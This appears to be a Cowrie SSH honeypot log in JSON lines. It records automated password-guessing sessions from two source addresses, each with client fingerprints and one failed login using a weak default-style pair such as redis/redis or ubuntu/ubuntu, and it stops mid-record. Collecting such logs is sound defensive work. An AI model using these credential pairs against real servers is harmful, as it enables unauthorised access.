{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:41.501836Z","src_ip":"45.153.34.114","session":"05662d96d8e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redis","password":"redis","message":"login attempt [redis/redis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:41.792140Z","src_ip":"45.153.34.114","session":"05662d96d8e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:42.879867Z","src_ip":"45.153.34.114","session":"05662d96d8e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48154,"dst_ip":"159.203.135.109","dst_port":22,"session":"0376a6ab5a0b","protocol":"ssh","message":"New connection: 45.153.34.114:48154 (159.203.135.109:22) [session: 0376a6ab5a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:49.387942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:49.392691Z","src_ip":"45.153.34.114","session":"0376a6ab5a0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:49.479177Z","src_ip":"45.153.34.114","session":"0376a6ab5a0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:49.855837Z","src_ip":"45.153.34.114","session":"0376a6ab5a0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:50.941454Z","src_ip":"45.153.34.114","session":"0376a6ab5a0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":46402,"dst_ip":"159.203.135.109","dst_port":22,"session":"772518a3ab90","protocol":"ssh","message":"New connection: 45.153.34.114:46402 (159.203.135.109:22) [session: 772518a3ab90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:57.348565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:57.353605Z","src_ip":"45.153.34.114","session":"772518a3ab90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:57.445709Z","src_ip":"45.153.34.114","session":"772518a3ab90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:57.737134Z","src_ip":"45.153.34.114","session":"772518a3ab90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:56:58.830416Z","src_ip":"45.153.34.114","session":"772518a3ab90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":53178,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e50fee4caf1","protocol":"ssh","message":"New connection: 45.153.34.114:53178 (159.203.135.109:22) [session: 5e50fee4caf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:05.481391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:05.486673Z","src_ip":"45.153.34.114","session":"5e50fee4caf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:05.578538Z","src_ip":"45.153.34.114","session":"5e50fee4caf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:05.852671Z","src_ip":"45.153.34.114","session":"5e50fee4caf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:06.942737Z","src_ip":"45.153.34.114","session":"5e50fee4caf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44120,"dst_ip":"159.203.135.109","dst_port":22,"session":"451928ca1106","protocol":"ssh","message":"New connection: 45.153.34.114:44120 (159.203.135.109:22) [session: 451928ca1106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:13.458827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:13.462535Z","src_ip":"45.153.34.114","session":"451928ca1106","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:13.549617Z","src_ip":"45.153.34.114","session":"451928ca1106","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:13.822173Z","src_ip":"45.153.34.114","session":"451928ca1106","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":43222,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e437d3caf60","protocol":"ssh","message":"New connection: 80.94.92.182:43222 (10.17.0.5:22) [session: 8e437d3caf60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:13.892686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:13.964080Z","src_ip":"80.94.92.182","session":"8e437d3caf60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:14.229258Z","src_ip":"80.94.92.182","session":"8e437d3caf60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:14.929577Z","src_ip":"45.153.34.114","session":"451928ca1106","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:15.416713Z","src_ip":"80.94.92.182","session":"8e437d3caf60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:16.687176Z","src_ip":"80.94.92.182","session":"8e437d3caf60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":41998,"dst_ip":"159.203.135.109","dst_port":22,"session":"cea76e74d100","protocol":"ssh","message":"New connection: 45.153.34.114:41998 (159.203.135.109:22) [session: cea76e74d100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:21.640224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:21.644753Z","src_ip":"45.153.34.114","session":"cea76e74d100","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:21.741333Z","src_ip":"45.153.34.114","session":"cea76e74d100","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test123","message":"login attempt [test1/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:21.996789Z","src_ip":"45.153.34.114","session":"cea76e74d100","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:23.084123Z","src_ip":"45.153.34.114","session":"cea76e74d100","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60260,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2a1dd1c1b4f","protocol":"ssh","message":"New connection: 45.153.34.114:60260 (159.203.135.109:22) [session: d2a1dd1c1b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:29.786544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:29.791604Z","src_ip":"45.153.34.114","session":"d2a1dd1c1b4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:29.880126Z","src_ip":"45.153.34.114","session":"d2a1dd1c1b4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"martin","message":"login attempt [martin/martin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:30.139686Z","src_ip":"45.153.34.114","session":"d2a1dd1c1b4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:31.236958Z","src_ip":"45.153.34.114","session":"d2a1dd1c1b4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60272,"dst_ip":"159.203.135.109","dst_port":22,"session":"69651258772d","protocol":"ssh","message":"New connection: 45.153.34.114:60272 (159.203.135.109:22) [session: 69651258772d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:37.821939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:37.826459Z","src_ip":"45.153.34.114","session":"69651258772d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 